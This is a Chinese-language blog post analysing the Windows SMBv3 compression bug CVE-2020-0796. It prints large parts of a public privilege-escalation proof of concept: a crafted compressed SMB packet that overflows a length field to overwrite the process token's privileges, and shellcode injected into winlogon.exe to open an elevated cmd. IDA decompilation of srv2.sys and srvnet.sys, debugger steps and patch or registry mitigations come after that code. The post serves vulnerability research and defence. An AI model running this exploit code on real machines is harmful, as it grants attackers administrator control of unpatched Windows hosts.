CVE-2020-0796 漏洞分析报告(最详细)

CVE-2020-0796 漏洞分析报告

1 漏洞介绍

1.1 名称

微软SMBv3 Client/Server远程代码执行漏洞CVE-2020-0796

1.2 影响范围

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

1.3 SMB介绍

Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

2 POC简介

该POC用来恶意提权,虽然该漏洞发生在远程数据传输,但是该POC是本地运行的恶意提权软件。实质上还是需要构造数据包,发生到服务器,但是这里客户端和服务器都是同一台机器。之所以POC需要这样构造 ,是因为利用该漏洞我们可以实现向任意区域写任意数据,但由于地址随机化,我们在客户端很难获取想要写入的服务器地址。

本次分析的环境是cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c,关闭更新。

2.1 来源

https://github.com/danigargu/CVE-2020-079

2.2 运行结果分析

可执行程序

在这里插入图片描述

执行结果

在这里插入图片描述

如图所示,运行该可执行程序后,最终弹出具有管理员权限的cmd.exe

2.3 SMB 协议格式

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TM59pHAv-1590634234535)(CVE-2020-0796 漏洞分析报告.assets/smb_header.png)]

3 静态分析

静态分析部分包括利用IDA静态分析漏洞所在驱动(srv2.sys)和分析POC代码。

3.1 POC分析

构造socket
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {
    printf("socket() failed with error: %d\n", WSAGetLastError());
    WSACleanup();
    return EXIT_FAILURE;
}

sockaddr_in client;
client.sin_family = AF_INET;
client.sin_port = htons(445);
InetPton(AF_INET, "127.0.0.1", &client.sin_addr);

如代码段所示,该程序构造socket用于发生SMB数据包,且目的地址为本机。

获取当前进程的令牌
ktoken = get_process_token();//自定义函数
if (ktoken == -1) {
printf("Couldn't leak ktoken of current process...\n");
return EXIT_FAILURE;
}
ULONG64 get_process_token() {
	HANDLE token;
	HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
	if (proc == INVALID_HANDLE_VALUE)
		return 0;
    //参数分别为 1:要修改访问权限的进程句柄 2:要对令牌进行何种操作 3:返回的访问令牌指针
	OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token);
	ULONG64 ktoken = get_handle_addr(token);

	return ktoken;
}
构造数据
memset(buffer, 'A', 0x1108); 
*(uint64_t*)(buffer + 0x1108) = ktoken + 0x40;

在这里插入图片描述

经过查询,ktoken + 0x40对应的字段是SEP_TOKEN_PRIVILEGES,可以通过修改该字段提权。

压缩数据

将构造的数据进行压缩。

err = RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size,
		compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace);

if (err != STATUS_SUCCESS) {
printf("RtlCompressBuffer() failed with error: %#x\n", err);
free(lpWorkSpace);
return error_exit(sock, NULL);
}
发送SMB数据包
if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) {
		return error_exit(sock, "send()");
}
int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) {
	int err = 0;
	char response[8] = { 0 };

	const uint8_t buf[] = {
		/* NetBIOS Wrapper */
		0x00,
		0x00, 0x00, 0x33,

		/* SMB Header */
		0xFC, 0x53, 0x4D, 0x42, /* protocol id */
		0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
		0x02, 0x00,             /* compression algorithm, LZ77 */
		0x00, 0x00,             /* flags */
		0x10, 0x00, 0x00, 0x00, /* offset */
	};

	uint8_t* packet = (uint8_t*) malloc(sizeof(buf) + 0x10 + len);
	if (packet == NULL) {
		printf("Couldn't allocate memory with malloc()\n");
		return error_exit(sock, NULL);
	}

	memcpy(packet, buf, sizeof(buf));
	*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
	*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
	memcpy(packet + sizeof(buf) + 0x10, buffer, len);

	if ((err = send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) {
		recv(sock, response, sizeof(response), 0);
	}

	free(packet);
	return err;
}

send_compressed函数所示,SMB Header构造中original decompressed size(原始未压缩数据的长度)设置的值很大,与真实值不等,这就是造成溢出的地方。发送的SMB数据包包括未压缩数据(data_1)和压缩数据(data_2)。data1_1的数据长度字段为offset(0x10)。

数据包

在这里插入图片描述

注入shellcode

已经将当前进程提权,再通过注入常规的shellcode到windows进程winlogon.exe中执行任意代码,这里是开启cmd。

void inject(void) {
	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	uint8_t shellcode[] = {
		 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54,
		 0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
		 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
		 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
		 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
		 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99,
		 0xff, 0xc2, // inc edx (1 = SW_SHOW)
		 0xFF, 0xD7, 0x48, 0x83, 0xC4,
		 0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00
	};

	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	int pid = -1;
	//1. 寻找 winlogon.exe
	if (Process32First(snapshot, &entry) == TRUE) {
		while (Process32Next(snapshot, &entry) == TRUE) {
			if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) {
				pid = entry.th32ProcessID;
				break;
			}
		}
	}
	CloseHandle(snapshot);

	if (pid < 0) {
		printf("Could not find process\n");
		return;
	}
	printf("Injecting shellcode in winlogon...\n");
    

	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	if (hProc == NULL) {
		printf("Could not open process\n");
		return;
	}

	LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (lpMem == NULL) {
		printf("Remote allocation failed\n");
		return;
	}	
	//2. 将shellcode插入到winlogon.exe 	
	if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) {
		printf("Remote write failed\n");
		return;
	}	
	if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) {
		printf("CreateRemoteThread failed\n");
		return;
	}

	printf("Success! ;)\n");
}

3.2 驱动分析

通过网上该漏洞的介绍,了解到漏洞发生的位置在Windows驱动srv2.sys中,且存在于解压相关函数中,通过IDA加载srv2.sys以及对应的符号文件进行分析。

Srv2DecompressData(srv2.sys)
signed __int64 __fastcall Srv2DecompressData(__int64 smb_packet)
{
  __int64 smb_packet_n; // rdi@1
  __int64 smb_header_n; // rax@1
  __m128i v3; // xmm0@2
  __m128i v4; // xmm0@2
  unsigned int v5; // ebp@2
  __int64 v7; // rax@4
  __int64 v8; // rbx@4
  int v9; // eax@7
  __m128i Size; // [sp+30h] [bp-28h]@2
  int v11; // [sp+60h] [bp+8h]@1

  v11 = 0;
  smb_packet_n = smb_packet
  smb_header_n = *(_QWORD *)(smb_packet + 240);
  if ( *(_DWORD *)(smb_header + 36) < 0x10u )
    return 3221227787i64;
  v3 = *(__m128i *)*(_QWORD *)(smb_header_n + 24);//根据SMB header,v3对应offset字段
  Size = v3;
  v4 = _mm_srli_si128(v3, 8);
  v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 80) + 496i64) + 140i64);
  if ( v5 != v4.m128i_u16[0] )
    return 3221225659i64;
  LODWORD(v7) = SrvNetAllocateBuffer((unsigned int)(Size.m128i_i32[1] + v4.m128i_i32[1]), 0i64);
  v8 = v7;
  if ( !v7 )
    return 3221225626i64;
  if ( SmbCompressionDecompress(
      v5,
*(_QWORD *)(*(_QWORD *)(smb_packet_n + 240)+24i64)+(unsigned int)Size.m128i_u32[3] + 16i64, (unsigned int)(*(_DWORD *)(*(_QWORD *)(smb_packet_n + 240) + 36i64) - Size.m128i_i32[3] - 16),
 (unsigned int)Size.m128i_u32[3] + *(_QWORD *)(v7 + 0x18)) < 0
    || (v9 = 0, 0 != Size.m128i_i32[1]) )
  {
    SrvNetFreeBuffer(v8);
    return 3221227787i64;
  }
  if ( Size.m128i_i32[3] )
  {
    memmove(*(void **)(v8 + 24), (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet_n + 240) + 24i64) + 16i64), Size.m128i_u32[3]);
    v9 = 0;
  }
  *(_DWORD *)(v8 + 36) = Size.m128i_i32[3] + v9;
  Srv2ReplaceReceiveBuffer(smb_packet_n, v8);
  return 0i64;
}

如上代码所示,漏洞产生的原因就在第25行,当前函数调用SrvNetAllocateBuffer函数给SMB数据包分配内存,但是传入的参数是压缩数据与未压缩数据长度之和,这个长度可能发生溢出,但是这里并没有进行溢出判断。在之前的POC中,正是利用这一点,传入一个较大的长度触发整数溢出。

SrvNetAllocateBuffer(srvnet.sys)
PSLIST_ENTRY __usercall SrvNetAllocateBuffer@<rax>(__int64 a1@<rax>, __int64 a2@<rdx>, unsigned __int64 a3@<rcx>)
{
  int v3; // ebp@1
  unsigned int v4; // esi@1
  __int64 v5; // r14@1
  signed __int16 v6; // di@1
  __int64 v7; // rcx@4
  int v8; // eax@4
  __int64 v9; // rdx@6
  __int64 v10; // rax@6
  __int64 v11; // rdi@6
  PSLIST_ENTRY v12; // rbx@8
  __int64 v13; // rax@9
  struct __declspec(align(16)) _SLIST_ENTRY *v14; // rax@9
  unsigned __int64 v16; // rcx@16
  unsigned int v17; // eax@18
  void *v18; // rcx@20
  __int16 v19; // ax@20
  struct __declspec(align(16)) _SLIST_ENTRY *v20; // rax@24

  v3 = *MK_FP(__GS__, 420i64);
  v4 = 0;
  v5 = a2;
  v6 = 0;
  if ( SrvDisableNetBufferLookAsideList || a3 > 0x100100 )
  {
    if ( a3 > 0x1000100 )
      return 0i64;
    LODWORD(v20) = SrvNetAllocateBufferFromPool(a3, a3);
    v12 = v20;
  }
  else
  {
    if ( a3 > 0x1100 )
    {
      v16 = a3 - 256;
      _BitScanReverse64((unsigned __int64 *)&a2, v16);
      _BitScanForward64((unsigned __int64 *)&a1, v16);
      if ( (_DWORD)a2 == (_DWORD)a1 )
        v4 = a2 - 12;
      else
        v4 = a2 - 11;
    }
    v7 = SrvNetBufferLookasides[(unsigned __int64)v4];
    v8 = *(_DWORD *)v7 - 1;
    if ( (unsigned int)(unsigned __int16)v3 + 1 < *(_DWORD *)v7 )
      v8 = (unsigned __int16)v3 + 1;
    v9 = (unsigned int)v8;
    v10 = *(_QWORD *)(v7 + 32);
    v11 = *(_QWORD *)(v10 + 8 * v9);
    if ( !*(_BYTE *)(v11 + 112) )
      PplpLazyInitializeLookasideList(v7, *(_QWORD *)(v10 + 8 * v9));
    ++*(_DWORD *)(v11 + 20);
    v12 = ExpInterlockedPopEntrySList((PSLIST_HEADER)v11);
    if ( !v12 )
    {
      ++*(_DWORD *)(v11 + 24);
      v13 = *(_QWORD *)(v11 + 48);
      LODWORD(v14) = _guard_dispatch_icall_fptr(
                       *(_DWORD *)(v11 + 36),
                       *(_DWORD *)(v11 + 44),
                       *(_DWORD *)(v11 + 40),
                       v11);
      v12 = v14;
    }
    v6 = 2;
  }
  if ( v12 )
  {
    LOWORD(v12[1].Next) |= v6;
    WORD1(v12[1].Next) = v4;
    WORD2(v12[1].Next) = v3;
    if ( v5 )
    {
      v17 = *(_DWORD *)(v5 + 36);
      if ( v17 >= LODWORD(v12[2].Next) )
        v17 = (unsigned int)v12[2].Next;
      v18 = (void *)*((_QWORD *)&v12[1].Next + 1);
      HIDWORD(v12[2].Next) = v17;
      memmove(v18, *(const void **)(v5 + 24), v17);
      v19 = *(_WORD *)(v5 + 22);
      if ( v19 )
      {
        WORD3(v12[1].Next) = v19;
        memmove((char *)&v12[6].Next + 4, (const void *)(v5 + 100), 16i64 * *(_WORD *)(v5 + 22));
      }
    }
    else
    {
      HIDWORD(v12[2].Next) = 0;
    }
  }
  return v12;
}

srvnet!SrvNetAllocateBuffer中,对于传入的大小做了判断(34行-44行),小于0x1100(POC为0xf)的时候将会传入固定的值0x1100作为后面结构体空间的内存分配值进行相应运算。SrvNetBufferLookasides是一个数组,值分别为[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]。SrvNetBufferLookasides数组通过函数SrvNetCreateBufferLookasides初始化,实际SrvNetCreateBufferLookasides循环调用了SrvNetBufferLookasideAllocate分配内存。

unsigned __int64 __fastcall SrvNetBufferLookasideAllocate(__int64 a1, __int64 a2)
{
  return SrvNetAllocateBufferFromPool(a1, a2);
}

SrvNetBufferLookasideAllocate函数实际是调用SrvNetAllocateBufferFromPool来分配内存。

unsigned __int64 __fastcall SrvNetAllocateBufferFromPool(__int64 a1, unsigned __int64 a2)
{
  unsigned int v2; // esi@1
  unsigned __int64 v3; // rdi@4
  SIZE_T v4; // rax@5
  unsigned __int64 v5; // rbp@5
  signed __int64 v6; // rax@6
  unsigned __int64 v7; // rbx@7
  char *v8; // rdx@10
  signed __int32 v9; // ecx@11
  signed __int64 v10; // r9@13
  unsigned __int64 v11; // rdi@13
  unsigned __int64 v12; // r8@13
  int v13; // edx@13
  __int64 v14; // r9@13
  unsigned __int64 v15; // rdx@13
  signed __int64 v16; // r8@13
  unsigned __int64 result; // rax@13

  v2 = a2;
  if ( a2 > 0xFFFFFFFF )
    return 0i64;
  if ( (unsigned int)a2 >= 0xFFFFFFFFFFFFFFB0ui64 )
    return 0i64;
  if ( (unsigned __int64)(unsigned int)a2 + 88 < (unsigned __int64)(unsigned int)a2 + 80 )
    return 0i64;
  v3 = (unsigned int)a2 + 232i64;
  if ( v3 < (unsigned __int64)(unsigned int)a2 + 88 )
    return 0i64;
  v4 = MmSizeOfMdl(0i64, (unsigned int)a2 + 232i64);
  v5 = v4 + 8;
  if ( v4 + 8 < v4 )
    return 0i64;
  v6 = 2 * v5;
  if ( !is_mul_ok(2ui64, v5) )
    return 0i64;
  v7 = v6 + v3;
  if ( v6 + v3 < v3 )
    return 0i64;
  if ( v7 < 0x1000 )
  {
    v7 = 4096i64;
  }
  else if ( v7 > 0xFFFFFFFF )
  {
    return 0i64;
  }
  v8 = (char *)ExAllocatePoolWithTag((POOL_TYPE)512, v7, 0x3030534Cu);
  if ( !v8 )
  {
    _InterlockedIncrement((volatile signed __int32 *)&unk_1C002DEB8);
    return 0i64;
  }
  v9 = v7 + _InterlockedExchangeAdd((volatile signed __int32 *)&unk_1C002DEB4, v7);
  if ( (signed int)v7 > 0 )
  {
    while ( v9 > dword_1C002DEBC && _InterlockedCompareExchange(&dword_1C002DEBC, v9, dword_1C002DEBC) != v9 )
      ;
  }
  v10 = (signed __int64)(v8 + 80);
  v11 = (unsigned __int64)&v8[v2 + 0x57] & 0xFFFFFFFFFFFFFFF8ui64;
  *(_QWORD *)(v11 + 48) = v8;
  *(_QWORD *)(v11 + 80) = (v11 + v5 + 151) & 0xFFFFFFFFFFFFFFF8ui64;
  v12 = (v11 + 151) & 0xFFFFFFFFFFFFFFF8ui64;  
  *(_QWORD *)(v11 + 0x18) = v8 + 0x50;
  *(_QWORD *)(v11 + 56) = v12;
  *(_WORD *)(v11 + 16) = 0;
  *(_WORD *)(v11 + 22) = 0;
  *(_DWORD *)(v11 + 32) = v2;
  *(_DWORD *)(v11 + 36) = 0;
  v13 = ((_WORD)v8 + 80) & 0xFFF;
  *(_DWORD *)(v11 + 40) = v7;
  *(_DWORD *)(v11 + 64) = 0;
  *(_QWORD *)(v11 + 72) = 0i64;
  *(_QWORD *)(v11 + 88) = 0i64;
  *(_DWORD *)(v11 + 96) = 0;
  *(_QWORD *)v12 = 0i64;
  *(_WORD *)(v12 + 8) = 8 * ((((unsigned __int16)v13 + (unsigned __int64)v2 + 4095) >> 12) + 6);
  *(_WORD *)(v12 + 10) = 0;
  *(_QWORD *)(v12 + 32) = v10 & 0xFFFFFFFFFFFFF000ui64;
  *(_DWORD *)(v12 + 44) = v13;
  *(_DWORD *)(v12 + 40) = v2;
  MmBuildMdlForNonPagedPool(*(PMDL *)(v11 + 56));
  MmMdlPageContentsState(*(_QWORD *)(v11 + 56), 1i64);
  *(_WORD *)(*(_QWORD *)(v11 + 56) + 10i64) |= 0x1000u;
  v14 = *(_QWORD *)(v11 + 80);
  v15 = *(_QWORD *)(v11 + 24) & 0xFFFFFFFFFFFFF000ui64;
  v16 = *(_QWORD *)(v11 + 24) & 0xFFFi64;
  result = v11;
  *(_QWORD *)v14 = 0i64;
  *(_WORD *)(v14 + 8) = 8 * (((v16 + (unsigned __int64)v2 + 4095) >> 12) + 6);
  *(_WORD *)(v14 + 10) = 0;
  *(_QWORD *)(v14 + 32) = v15;
  *(_DWORD *)(v14 + 44) = v16;
  *(_DWORD *)(v14 + 40) = v2;
  *(_WORD *)(*(_QWORD *)(v11 + 80) + 10i64) |= 4u;
  return result;
}

48行所示,在函数SrvNetAllocateBufferFromPool中,对于用户请求的内存分配大小,内部通过ExAllocatePoolWithTag函数分配的内存实际要大于请求值(多出部分用于存储部分内存相关数据结构)。ExAllocatePoolWithTag函数的返回值为v8(指向分配内存的地址)。

61行所示,v11 (return_buffer)指向一个内存数据结构,该内存数据结构起始地址同实际分配内存(函数ExAllocatePoolWithTag分配的内存)起始地址的的偏移为0x1150

65行所示,v11+0x18位置指向了实际分配内存起始地址偏移0x50位置处,而最终return_buffer会作为函数SrvNetAllocateBuffer的返回值。

最终return_buffer会作为函数SrvNetAllocateBuffer的返回值。

Srv2DecompressData (29行)

SmbCompressionDecompress(v5,*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + (unsigned     
    int)Size.m128i_u32[3] + 16i64,(unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) +       36i64) - Size.m128i_i32[3] - 16),(unsigned int)Size.m128i_u32[3] + *(_QWORD *)(v7 
    + 24))

在进行内存分配之后,Srv2DecompressData调用函数SmbCompressionDecompress开始解压被压缩的数据。

SmbCompressionDecompress(srvnet.sys)
__int64 __fastcall SmbCompressionDecompress(int a1, __int64 a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int *a6)
{
  PVOID v6; // rdi@1
  __int64 v7; // r14@1
  __int64 v8; // r15@1
  int v9; // ebx@2
  int v10; // ecx@3
  int v11; // ecx@4
  signed __int16 v12; // bx@6
  unsigned int *v13; // rsi@12
  unsigned int v14; // ebp@12
  int v16; // [sp+40h] [bp-28h]@1
  SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1

  v16 = 0;
  v6 = 0i64;
  LODWORD(NumberOfBytes) = 0;
  v7 = a4;
  v8 = a2;
  if ( !a1 )
    goto LABEL_2;
  v10 = a1 - 1;
  if ( v10 )
  {
    v11 = v10 - 1;
    if ( v11 )
    {
      if ( v11 != 1 )
LABEL_2:
        return (unsigned int)-1073741637;
      v12 = 4;
    }
    else
    {
      v12 = 3;
    }
  }
  else
  {
    v12 = 2;
  }
  if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0
    || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 )
  {
    v13 = a6;
    v14 = a5;
    v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, a5, v8);
    if ( v9 >= 0 )
      *v13 = v14;
    if ( v6 )
      ExFreePoolWithTag(v6, 0x2532534Cu);
  }
  else
  {
    v9 = -1073741670;
  }
  return (unsigned int)v9;
}

47行所示,该函数调用了Windows库函数RtlDecompressBufferEx2来实现解压,根据RtlDecompressBufferEx2的函数原型来对应分析SmbCompressionDecompress函数的各个参数。

  • a1: SmbCompressionDecompress(CompressAlgo,//压缩算法
  • a2: Compressed_buf,//指向数据包中的压缩数据
  • a3: Compressed_size,//数据包中压缩数据大小,计算得到
  • a4: UnCompressedBuf, //解压后的数据存储地址,(unsigned int)Size.m128i_u32[3] + *(_QWORD *)(v7 + 0x18),也就是 (return_buffer+0x18)+0x10
  • a5: UnCompressedSize,//压缩数据原始大小,源于数据包OriginalCompressedSegmentSize
  • a6: FinalUnCompressedSize)//最终解压后数据大小。

3.3 数据溢出分析

SMB数据包

在这里插入图片描述

分配的内存

在这里插入图片描述

解压压缩文件

在解压压缩数据时,将压缩数据解压后放入(return_buffer+0x18)+0x10处,也就是0x60处,但是由于分配的user_buf区域小于压缩数据长度,导致数据溢出到memory manage struct

在这里插入图片描述

上图是根据POC构造的SMB数据所画,最终(return_buffer+0x18)所指向的地址被修改,指向的地址变为token_40_addr

处理未压缩文件

如 Srv2DecompressData(41行)所示:

if ( Size.m128i_i32[3] )
{
    memmove(*(void **)(v8 + 0x18), (const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64), Size.m128i_u32[3]);
    v9 = 0;
}

解压压缩数据完成后,判断offset字段是否为0,不为0则将未压缩数据复制到(return_buffer+0x18)处,但是由于(return_buffer+0x18)被修改,导致数据写入了别的地址,最终实现的效果就是修改了权限字段的值,到达提权的效果。

4 动态调试

静态调试部分已经弄清楚漏洞如何被利用,动态调试部分只是查看静态分析过程中的一些特殊的值,只是进行简单的分析。

查看整数溢出

bp srv2!Srv2DecompressData

在这里插入图片描述

如上图所示,在设置断点之后,单步执行到调用SrvNetAllocateBuffer之前的几条汇编指令,并查看寄存器的值。rcx的值就是整数加法溢出后的结果。

实际分配内存

在这里插入图片描述

如上图所示,在srvnet!SrvNetAllocateBufferFromPool设置断点,调用nt!ExAllocatePoolWithTag前查看寄存器的值。rdx即是SMB解压过程中实际分配的大小,比0x1100大一些是需要存储memory manage struct

5 漏洞修补方法

5.1 更新,完成补丁的安装。

操作步骤:设置->更新和安全->Windows更新,点击“检查更新”。

5.2 微软给出了临时的应对办法:

运行regedit.exe,打开注册表编辑器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\ Parameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。

5.3 对SMB通信445端口进行封禁

参考链接

https://paper.seebug.org/1164/#0x05

https://www.cnblogs.com/A66666/p/29635a243378b49ccb485c7a280df989.html

https://paper.seebug.org/1168/#_7

  • 10
    点赞
  • 34
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CVE-2020-0796漏洞,也被称为"SMBGhost",是一个影响微软Windows操作系统的严重漏洞。该漏洞存在于Windows 10版本1903和1909之间的SMBv3协议中,攻击者可以利用此漏洞执行远程代码,从而控制受感染的系统。 对CVE-2020-0796漏洞进行逆向分析是为了深入了解其工作原理及漏洞利用的具体细节。逆向分析通常包括静态和动态分析两个方面。 首先,静态分析是通过对漏洞程序的反汇编、分析源代码或查看二进制文件等方法来了解漏洞的工作原理。这可以帮助研究人员识别漏洞的关键功能、漏洞的出现位置以及可能的漏洞利用方式。 其次,动态分析是在虚拟化环境中或实际受感染的系统上运行漏洞程序,监视其行为并捕获关键信息。通过动态分析,研究人员能够观察到漏洞利用的具体过程,从而理解攻击者是如何利用漏洞来执行远程代码或获取系统权限的。 在逆向分析过程中,研究人员需要使用一些特定的工具,如反汇编器、调试器以及网络分析工具等。这些工具可以帮助研究人员获取漏洞程序的内部结构、系统调用、网络通信等关键信息,有助于理解漏洞的利用方式和脆弱点。 通过逆向分析CVE-2020-0796漏洞,能够帮助安全专业人员更好地理解漏洞的工作原理,从而开发相应的补丁或安全措施以防止攻击者利用该漏洞入侵系统。此外,逆向分析还有助于提高安全分析人员的能力和知识,进一步提升网络安全的整体水平。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值